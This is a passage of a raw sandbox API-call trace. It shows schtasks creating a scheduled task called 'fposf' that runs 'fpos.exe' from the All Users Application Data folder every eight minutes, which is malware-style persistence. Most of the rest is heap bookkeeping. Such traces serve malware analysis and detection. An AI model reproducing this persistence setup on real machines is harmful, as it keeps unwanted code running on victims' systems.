lpSystemTime=0x25c7b0 | out: lpSystemTime=0x25c7b0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x9, wMilliseconds=0x312)) [0085.423] lstrlenW (lpString="") returned 0 [0085.423] GetLocalTime (in: lpSystemTime=0x25d068 | out: lpSystemTime=0x25d068*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x9, wMilliseconds=0x312)) [0085.423] lstrlenW (lpString="") returned 0 [0085.423] lstrlenW (lpString="") returned 0 [0085.423] lstrlenW (lpString="") returned 0 [0085.423] lstrlenW (lpString="") returned 0 [0085.423] lstrlenW (lpString="8") returned 1 [0085.423] _wtol (_String="8") returned 8 [0085.423] lstrlenW (lpString="") returned 0 [0085.423] lstrlenW (lpString="") returned 0 [0085.423] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0085.446] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0085.611] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x25ce30 | out: ppv=0x25ce30*=0x26dee0) returned 0x0 [0085.632] TaskScheduler:ITaskService:Connect (This=0x26dee0, serverName=0x25cf10*(varType=0x8, wReserved1=0x25, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x25ced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x25cef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25ceb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0085.763] TaskScheduler:IUnknown:AddRef (This=0x26dee0) returned 0x2 [0085.763] TaskScheduler:ITaskService:GetFolder (in: This=0x26dee0, Path=0x0, ppFolder=0x25cfc8 | out: ppFolder=0x25cfc8*=0x457d10) returned 0x0 [0085.766] TaskScheduler:ITaskService:NewTask (in: This=0x26dee0, flags=0x0, ppDefinition=0x25cfc0 | out: ppDefinition=0x25cfc0*=0x457d60) returned 0x0 [0085.767] ITaskDefinition:get_Actions (in: This=0x457d60, ppActions=0x25cf40 | out: ppActions=0x25cf40*=0x457e20) returned 0x0 [0085.767] IActionCollection:Create (in: This=0x457e20, Type=0, ppAction=0x25cf60 | out: ppAction=0x25cf60*=0x456540) returned 0x0 [0085.767] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.767] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.767] lstrlenW (lpString=" ") returned 1 [0085.767] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0085.768] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0085.768] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0085.769] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0085.769] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0085.770] IUnknown:Release (This=0x456540) returned 0x1 [0085.770] IUnknown:Release (This=0x457e20) returned 0x1 [0085.770] ITaskDefinition:get_Triggers (in: This=0x457d60, ppTriggers=0x25cac0 | out: ppTriggers=0x25cac0*=0x457f60) returned 0x0 [0085.770] ITriggerCollection:Create (in: This=0x457f60, Type=1, ppTrigger=0x25cab8 | out: ppTrigger=0x25cab8*=0x4565b0) returned 0x0 [0085.770] lstrlenW (lpString="8") returned 1 [0085.770] _vsnwprintf (in: _Buffer=0x25ca40, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x25ca38 | out: _Buffer="PT8M") returned 4 [0085.770] ITrigger:get_Repetition (in: This=0x4565b0, ppRepeat=0x25cab0 | out: ppRepeat=0x25cab0*=0x456640) returned 0x0 [0085.771] IRepetitionPattern:put_Interval (This=0x456640, Interval="PT8M") returned 0x0 [0085.771] IUnknown:Release (This=0x456640) returned 0x1 [0085.771] _vsnwprintf (in: _Buffer=0x25ca00, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x25c9d8 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0085.771] ITrigger:put_StartBoundary (This=0x4565b0, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0085.771] lstrlenW (lpString="") returned 0 [0085.771] lstrlenW (lpString="") returned 0 [0085.771] lstrlenW (lpString="") returned 0 [0085.771] lstrlenW (lpString="") returned 0 [0085.771] IUnknown:Release (This=0x4565b0) returned 0x1 [0085.771] IUnknown:Release (This=0x457f60) returned 0x1 [0085.771] ITaskDefinition:get_Settings (in: This=0x457d60, ppSettings=0x25cf60 | out: ppSettings=0x25cf60*=0x456320) returned 0x0 [0085.771] lstrlenW (lpString="") returned 0 [0085.772] IUnknown:Release (This=0x456320) returned 0x1 [0085.772] GetLocalTime (in: lpSystemTime=0x25ce18 | out: lpSystemTime=0x25ce18*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xa, wMilliseconds=0x82)) [0085.772] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0085.772] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0085.772] GetUserNameW (in: lpBuffer=0x25ce40, pcbBuffer=0x25ce28 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x25ce28) returned 1 [0085.772] ITaskDefinition:get_RegistrationInfo (in: This=0x457d60, ppRegistrationInfo=0x25ce10 | out: ppRegistrationInfo=0x25ce10*=0x457ea0) returned 0x0 [0085.773] IRegistrationInfo:put_Author (This=0x457ea0, Author="") returned 0x0 [0085.773] _vsnwprintf (in: _Buffer=0x25ce40, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x25cdd8 | out: _Buffer="2023-09-19T17:17:10") returned 19 [0085.773] IRegistrationInfo:put_Date (This=0x457ea0, Date="") returned 0x0 [0085.773] IUnknown:Release (This=0x457ea0) returned 0x1 [0085.773] malloc (_Size=0x18) returned 0x4566c0 [0085.774] free (_Block=0x4566c0) [0085.774] lstrlenW (lpString="") returned 0 [0085.774] malloc (_Size=0x18) returned 0x4566c0 [0085.774] ITaskFolder:RegisterTaskDefinition (in: This=0x457d10, Path="fposf", pDefinition=0x457d60, flags=6, UserId=0x25d0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25d0f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25efc0, varVal2=0xfe), LogonType=3, sddl=0x25d0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x25cfd0 | out: ppTask=0x25cfd0*=0x456860) returned 0x0 [0086.196] free (_Block=0x4566c0) [0086.196] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.196] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0086.196] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0086.196] GetProcessHeap () returned 0xd0000 [0086.197] GetProcessHeap () returned 0xd0000 [0086.197] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed6f0) returned 1 [0086.197] GetProcessHeap () returned 0xd0000 [0086.197] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed6f0) returned 0xc [0086.197] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed6f0 | out: hHeap=0xd0000) returned 1 [0086.197] GetProcessHeap () returned 0xd0000 [0086.197] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x82) returned 0x109c60 [0086.197] _vsnwprintf (in: _Buffer=0x25d710, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x25cf78 | out: _Buffer="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n") returned 67 [0086.197] _fileno (_File=0x7feffe22ab0) returned -2 [0086.197] _errno () returned 0x454bb0 [0086.197] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0086.197] SetLastError (dwErrCode=0x6) [0086.197] lstrlenW (lpString="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n") returned 67 [0086.197] GetConsoleOutputCP () returned 0x0 [0086.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0086.198] GetConsoleOutputCP () returned 0x0 [0086.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 67 [0086.198] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 67 [0086.198] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0086.198] IUnknown:Release (This=0x456860) returned 0x0 [0086.198] TaskScheduler:IUnknown:Release (This=0x457d60) returned 0x0 [0086.198] TaskScheduler:IUnknown:Release (This=0x457d10) returned 0x0 [0086.198] TaskScheduler:IUnknown:Release (This=0x26dee0) returned 0x1 [0086.199] lstrlenW (lpString="") returned 0 [0086.199] lstrlenW (lpString="8") returned 1 [0086.199] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="8", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0086.199] GetProcessHeap () returned 0xd0000 [0086.199] GetProcessHeap () returned 0xd0000 [0086.199] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec480) returned 1 [0086.199] GetProcessHeap () returned 0xd0000 [0086.199] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec480) returned 0x1fc [0086.199] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec480 | out: hHeap=0xd0000) returned 1 [0086.199] GetProcessHeap () returned 0xd0000 [0086.199] GetProcessHeap () returned 0xd0000 [0086.200] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5520) returned 1 [0086.200] GetProcessHeap () returned 0xd0000 [0086.200] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5520) returned 0x4 [0086.200] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5520 | out: hHeap=0xd0000) returned 1 [0086.200] GetProcessHeap () returned 0xd0000 [0086.200] GetProcessHeap () returned 0xd0000 [0086.200] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed650) returned 1 [0086.200] GetProcessHeap () returned 0xd0000 [0086.200] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed650) returned 0x16 [0086.200] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed650 | out: hHeap=0xd0000) returned 1 [0086.200] GetProcessHeap () returned 0xd0000 [0086.200] GetProcessHeap () returned 0xd0000 [0086.200] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed630) returned 1 [0086.200] GetProcessHeap () returned 0xd0000 [0086.200] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed630) returned 0x18 [0086.200] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed630 | out: hHeap=0xd0000) returned 1 [0086.200] GetProcessHeap () returned 0xd0000 [0086.200] GetProcessHeap () returned 0xd0000 [0086.200] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecea0) returned 1 [0086.200] GetProcessHeap () returned 0xd0000 [0086.200] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecea0) returned 0x20 [0086.201] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecea0 | out: hHeap=0xd0000) returned 1 [0086.201] GetProcessHeap () returned 0xd0000 [0086.201] GetProcessHeap () returned 0xd0000 [0086.201] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec120) returned 1 [0086.201] GetProcessHeap () returned 0xd0000 [0086.201] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec120) returned 0xa0 [0086.201] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec120 | out: hHeap=0xd0000) returned 1 [0086.201] GetProcessHeap () returned 0xd0000 [0086.201] GetProcessHeap () returned 0xd0000 [0086.201] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xebba0) returned 1 [0086.202] GetProcessHeap () returned 0xd0000 [0086.202] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xebba0) returned 0x18 [0086.202] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xebba0 | out: hHeap=0xd0000) returned 1 [0086.202] GetProcessHeap () returned 0xd0000 [0086.202] GetProcessHeap () returned 0xd0000 [0086.202] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecc60) returned 1 [0086.202] GetProcessHeap () returned 0xd0000 [0086.202] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecc60) returned 0x20 [0086.206] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecc60 | out: hHeap=0xd0000) returned 1 [0086.206] GetProcessHeap () returned 0xd0000 [0086.206] GetProcessHeap () returned 0xd0000 [0086.206] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec380) returned 1 [0086.206] GetProcessHeap () returned 0xd0000 [0086.206] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec380) returned 0x5e [0086.206] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec380 | out: hHeap=0xd0000) returned 1 [0086.207] GetProcessHeap () returned 0xd0000 [0086.207] GetProcessHeap () returned 0xd0000 [0086.207] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed670) returned 1 [0086.207] GetProcessHeap () returned 0xd0000 [0086.207] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed670) returned 0x18 [0086.207] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed670 | out: hHeap=0xd0000) returned 1 [0086.207] GetProcessHeap () returned 0xd0000 [0086.207] GetProcessHeap () returned 0xd0000 [0086.207] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecc30) returned 1 [0086.207] GetProcessHeap () returned 0xd0000 [0086.207] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecc30) returned 0x20 [0086.207] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecc30 | out: hHeap=0xd0000) returned 1 [0086.207] GetProcessHeap () returned 0xd0000 [0086.207] GetProcessHeap () returned 0xd0000 [0086.208] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xedde0) returned 1 [0086.208] GetProcessHeap () returned 0xd0000 [0086.208] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xedde0) returned 0x60 [0086.211] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xedde0 | out: hHeap=0xd0000) returned 1 [0086.211] GetProcessHeap () returned 0xd0000 [0086.211] GetProcessHeap () returned 0xd0000 [0086.211] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed610) returned 1 [0086.211] GetProcessHeap () returned 0xd0000 [0086.211] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed610) returned 0x18 [0086.211] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed610 | out: hHeap=0xd0000) returned 1 [0086.211] GetProcessHeap () returned 0xd0000 [0086.211] GetProcessHeap () returned 0xd0000 [0086.211] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecc00) returned 1 [0086.211] GetProcessHeap () returned 0xd0000 [0086.211] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecc00) returned 0x20 [0086.212] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecc00 | out: hHeap=0xd0000) returned 1 [0086.212] GetProcessHeap () returned 0xd0000 [0086.212] GetProcessHeap () returned 0xd0000 [0086.212] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec460) returned 1 [0086.212] GetProcessHeap () returned 0xd0000 [0086.212] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec460) returned 0xe [0086.212] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec460 | out: hHeap=0xd0000) returned 1 [0086.212] GetProcessHeap () returned 0xd0000 [0086.212] GetProcessHeap () returned 0xd0000 [0086.212] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec440) returned 1 [0086.212] GetProcessHeap () returned 0xd0000 [0086.212] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec440) returned 0x18 [0086.212] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec440 | out: hHeap=0xd0000) returned 1 [0086.212] GetProcessHeap () returned 0xd0000 [0086.212] GetProcessHeap () returned 0xd0000 [0086.212] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5e30) returned 1 [0086.212] GetProcessHeap () returned 0xd0000 [0086.212] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5e30) returned 0x20 [0086.213] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5e30 | out: hHeap=0xd0000) returned 1 [0086.213] GetProcessHeap () returned 0xd0000 [0086.213] GetProcessHeap () returned 0xd0000 [0086.213] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xebd20) returned 1 [0086.213] GetProcessHeap () returned 0xd0000 [0086.213] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xebd20) returned 0x208 [0086.213] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xebd20 | out: hHeap=0xd0000) returned 1 [0086.213] GetProcessHeap () returned 0xd0000 [0086.213] GetProcessHeap () returned 0xd0000 [0086.213] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb80) returned 1 [0086.213] GetProcessHeap () returned 0xd0000 [0086.213] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xebb80) returned 0x18 [0086.214] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb80 | out: hHeap=0xd0000) returned 1 [0086.214] GetProcessHeap () returned 0xd0000 [0086.214] GetProcessHeap () returned 0xd0000 [0086.214] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5d40) returned 1 [0086.214] GetProcessHeap () returned 0xd0000 [0086.214] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5d40) returned 0x20 [0086.214] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5d40 | out: hHeap=0xd0000) returned 1 [0086.214] GetProcessHeap () returned 0xd0000 [0086.214] GetProcessHeap () returned 0xd0000 [0086.214] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed3d0) returned 1 [0086.214] GetProcessHeap () returned 0xd0000 [0086.214] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed3d0) returned 0x200 [0086.215] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed3d0 | out: hHeap=0xd0000) returned 1 [0086.215] GetProcessHeap () returned 0xd0000 [0086.215] GetProcessHeap () returned 0xd0000 [0086.215] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xebbc0) returned 1 [0086.215] GetProcessHeap () returned 0xd0000 [0086.215] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xebbc0) returned 0x18 [0086.215] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xebbc0 | out: hHeap=0xd0000) returned 1 [0086.215] GetProcessHeap () returned 0xd0000 [0086.215] GetProcessHeap () returned 0xd0000 [0086.215] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5cb0) returned 1 [0086.215] GetProcessHeap () returned 0xd0000 [0086.215] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5cb0) returned 0x20 [0086.216] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5cb0 | out: hHeap=0xd0000) returned 1 [0086.216] GetProcessHeap () returned 0xd0000 [0086.216] GetProcessHeap () returned 0xd0000 [0086.216] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec330) returned 1 [0086.216] GetProcessHeap () returned 0xd0000 [0086.216] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec330) returned 0x14 [0086.216] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec330 | out: hHeap=0xd0000) returned 1 [0086.216] GetProcessHeap () returned 0xd0000 [0086.216] GetProcessHeap () returned 0xd0000 [0086.216] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec310) returned 1 [0086.216] GetProcessHeap () returned 0xd0000 [0086.216] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec310) returned 0x18 [0086.216] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec310 | out: hHeap=0xd0000) returned 1 [0086.216] GetProcessHeap () returned 0xd0000 [0086.216] GetProcessHeap () returned 0xd0000 [0086.216] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5bf0) returned 1 [0086.216] GetProcessHeap () returned 0xd0000 [0086.216] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5bf0) returned 0x20 [0086.217] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5bf0 | out: hHeap=0xd0000) returned 1 [0086.217] GetProcessHeap () returned 0xd0000 [0086.217] GetProcessHeap () returned 0xd0000 [0086.217] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec350) returned 1 [0086.217] GetProcessHeap () returned 0xd0000 [0086.217] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec350) returned 0x16 [0086.217] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec350 | out: hHeap=0xd0000) returned 1 [0086.217] GetProcessHeap () returned 0xd0000 [0086.217] GetProcessHeap () returned 0xd0000 [0086.217] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec1d0) returned 1 [0086.217] GetProcessHeap () returned 0xd0000 [0086.217] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xec1d0) returned 0x18 [0086.217] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xec1d0 | out: hHeap=0xd0000) returned 1 [0086.217] GetProcessHeap () returned 0xd0000 [0086.218] GetProcessHeap () returned 0xd0000 [0086.218] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5bc0) returned 1 [0086.218] GetProcessHeap () returned 0xd0000 [0086.218] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5bc0) returned 0x20 [0086.218] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5bc0 | out: hHeap=0xd0000) returned 1 [0086.218] GetProcessHeap () returned 0xd0000 [0086.218] GetProcessHeap () returned 0xd0000 [0086.218] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb00) returned 1 [0086.218] GetProcessHeap () returned 0xd0000 [0086.218] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xebb00) returned 0x2 [0086.218] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb00 | out: hHeap=0xd0000) returned 1 [0086.218] GetProcessHeap () returned 0xd0000 [0086.218] GetProcessHeap () returned 0xd0000 [0086.218] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5a10) returned 1 [0086.218] GetProcessHeap () returned 0xd0000 [0086.219] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5a10) returned 0x20 [0086.219] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5a10 | out: hHeap=0xd0000) returned 1 [0086.219] GetProcessHeap () returned 0xd0000 [0086.219] GetProcessHeap () returned 0xd0000 [0086.219] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5a40) returned 1 [0086.219] GetProcessHeap () returned 0xd0000 [0086.219] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5a40) returned 0x20 [0086.220] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5a40 | out: hHeap=0xd0000) returned 1 [0086.220] GetProcessHeap () returned 0xd0000 